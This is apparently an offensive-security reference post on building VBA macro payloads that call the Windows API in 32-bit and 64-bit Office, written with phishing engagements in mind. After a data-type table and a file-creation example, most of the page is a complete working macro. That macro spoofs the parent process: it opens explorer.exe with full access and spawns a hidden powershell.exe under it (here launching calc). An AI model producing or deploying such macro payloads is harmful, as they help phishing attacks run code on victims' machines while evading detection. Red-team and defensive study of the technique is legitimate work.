VBA Macros and the Windows API
Some examples of VBA WinAPI in Office 32-bit and Office 64-bit, useful for Offensive Security Development.
This post will serve as a reference for myself and any others who find it useful, on how to develop and build VBA payloads which make heavy use of the Windows API. Some of my most successful engagements which involve phishing stages have been very successful using custom VBA payloads.
I will continually update this so please bare with me.

Data Types

C Type
VBA Declaration
Description
BYTE, CHAR
ByVal variable As Byte
Integer
BOOL
ByVal variable As Long
Long that should be 1 or 0
SHORT
ByVal variable As Integer
16-bit integer value
UINT
ByVal variable As Long
32-bit integer ( > 0)
INT
ByVal variable As Long
32-bit integer value
LONG
ByVal variable As Long
Alias for INT
LONG
ByVal variable As LongPtr
4 bytes on 32-bit systems, 8 bytes on 64-bit systems
LongLong
ByVal variable As LongLong
8 bytes, valid only on 64-bit
WORD
ByVal variable As Long
An integer value, or
two (bit wise concatenated) BYTES
DWORD
ByVal variable As Long
A Long value, or two
(bit wise concatenated) WORDS
HWND, HDC, HMENU
ByVal variable As Long
Synonym for INT; used in some
cases to describe the expected
value (a handle).
LPSTR,LPCSTR
ByVal variable As String
A String variable
LPVOID
variable As Any
Any variable (use ByVal when passing a string)
NULL
As Any or ByVal variable As Long
Only supply ByVal Nothing,
ByVal 0& or vbNullString as value
VOID
Sub procedure
N/A
More information can be found on MSDN

Pointers

As shown above the examples are using ByVal but pointers are regularly used when programming in the WinAPI. Visual Basic does not allow to use pointers directly, but we can use the ByRef in the declaration to mimic a pointer. It will then pass the memory location of the variable to the function, rather than the value.

x86 - 64-bit Compatibility

We want our payloads to be agnostic of the architecture they are executed on. Since Office 2010 the applications are available as 64-bit as well as 32-bit. This introduces additional complexity. When declaring our functions or executing code that may differ between 32-bit and 64-bit we we can follow these rules of thumb:
  • If you are on a 64-bit version of Windows, but are on a 32-bit version of Office, you can declare API calls like below. The Win64 is relevent here because you could be on pre-VBA7, e.g. VBA6, but with a 64-bit OS and therefore the declaration VBA7 would not exist.
    #If Win64 Then
    Declare PtrSafe Function GetTickCount64 Lib "kernel32"() As LongLong
    #Else
    Declare PtrSafe Function GetTickCount Lib "kernel32" () As Long
    #End If
  • If you are on a 64-bit version of Windows, and are on a 64-bit version of Office, you can declare API calls like below because VBA7 keyword is not actually available on anything other that 64-bit OS.
    #If VBA7 Then
    Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As LongPtr
    #Else
    Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
    lpClassName As String, ByVal lpWindowName As String) As Long
    #End If
Since the switch to VBA7 three new keywords were introduced (2 data types and 1 modifier): LongPtr, LongLong and PtrSafe . Additionally, LongPtr is an alias, therefore it will always work as expected on either architecture and Office architecture.

Example: CreateFile() in VBA

MSDN Declaration of CreateFile()
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
We also see an argument type of LPSECURITY_ATTRIBUTES , however in CreateFile this can be a Null pointer, so we do not need to use this struct.
#If Win64 Then
Private Declare PtrSafe Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
lpSecurityAttributes As Any, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long _
) As Long
Private Declare PtrSafe Function CloseHandle Lib "Kernel32" ( _
ByVal hObject As Long _
) As Long
#Else
Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
lpSecurityAttributes As Any, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long _
) As Long
Private Declare Function CloseHandle Lib "Kernel32" ( _
ByVal hObject As Long _
) As Long
#End If
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const OPEN_ALWAYS = &H4
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Public Function Test()
Dim hFile As Long
hFile = CreateFile("C:\Users\Mitch\Desktop\testfile.txt", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
CloseHandle (hFile)
End Function
In the above example we create a file C:\Users\mitch\Desktop\testfile.txt and this was tested on a Windows 10 64-bit with Office 32-bit and also Office 64-bit.

Parent Process Spoofing on 32-bit and 64-bit Office

As we try and program more complex scenarios into our payloads for example a CreateProcess() call which also spoofs our parent process ID, some of the APIs that we need to use have changed slightly between different OS architectures and Office Architectures.
Below I have included a macro payload I built that will:
  1. 1.
    Get the PID of explorer.exe
  2. 2.
    Get a handle to the explorer.exe process
  3. 3.
    Create an EXTENDEDSTARTUPINFOEX structure pointing the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to the handle we retrieve.
  4. 4.
    Spawn a powershell.exe process with explorer.exe set as its parent process.
Although this actual payload is not new or groundbreaking, what makes it different from other online resources is that it works both on Office 32-bit and Office 64-bit.
Option Explicit
Const MAX_PATH = 260
Const SW_HIDE = &H0&
Const HEAP_ZERO_MEMORY = &H8&
Const TH32CS_SNAPPROCESS = &H2
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const CREATE_NEW_CONSOLE = &H10
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
#If VBA7 And Win64 Then
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32DefaultHeapIDB As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
pcPriClassBaseB As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As LongPtr
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Long
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
ByVal hObject As LongPtr _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
#Else
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As Long
End Type
Private Declare Function GetProcessHeap Lib "kernel32" () As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Any, _
lpThreadAttributes As Any, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As Long, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long
Private Declare Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare Function HeapAlloc Lib "kernel32" ( _
ByVal hHeap As Long, ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hObject As Long _
) As Long
Private Declare Function InitializeProcThreadAttributeList Lib "kernel32" ( _
ByVal lpAttributelist As Long, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare Function UpdateProcThreadAttribute Lib "kernel32" ( _
ByVal lpAttributelist As Long, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
#End If
Public Function getPidByName(ByVal ProcName As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim ProcessFound As Boolean
pEntry.dwSize = Len(pEntry)
#If Win64 And VBA7 Then
Dim snapshot As LongPtr
#Else
Dim snapshot As Long
#End If
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
ProcessFound = Process32First(snapshot, pEntry)
Do
If Left$(pEntry.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
getPidByName = pEntry.th32ProcessID
ProcessFound = False
Else
ProcessFound = Process32Next(snapshot, pEntry)
End If
Loop While ProcessFound
End Function
Sub Test()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim sNull As String
Dim pid As Integer
Dim r As Integer
Dim threadAttribSize As Integer
Dim strCmdLine As String
#If VBA7 And Win64 Then
Dim hParent As LongPtr
#Else
Dim hParent As Long
#End If
strCmdLine = "powershell.exe -c calc"
r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
pid = getPidByName("explorer.exe")
hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE
r = CreateProcess( _
sNull, _
strCmdLine, _
ByVal 0&, _
ByVal 0&, _
1&, _
EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
ByVal 0&, _
sNull, _
VarPtr(si), _
pi _
)
End Sub
Some other useful references:
spoofing-office-macro/macro64.vba at master · christophetd/spoofing-office-macro
GitHub
Macro used to spoof the Parent Process
JKP Application Development Services, Microsoft Office Application Development
Copy link
On this page
Data Types
x86 - 64-bit Compatibility
Example: CreateFile() in VBA
Parent Process Spoofing on 32-bit and 64-bit Office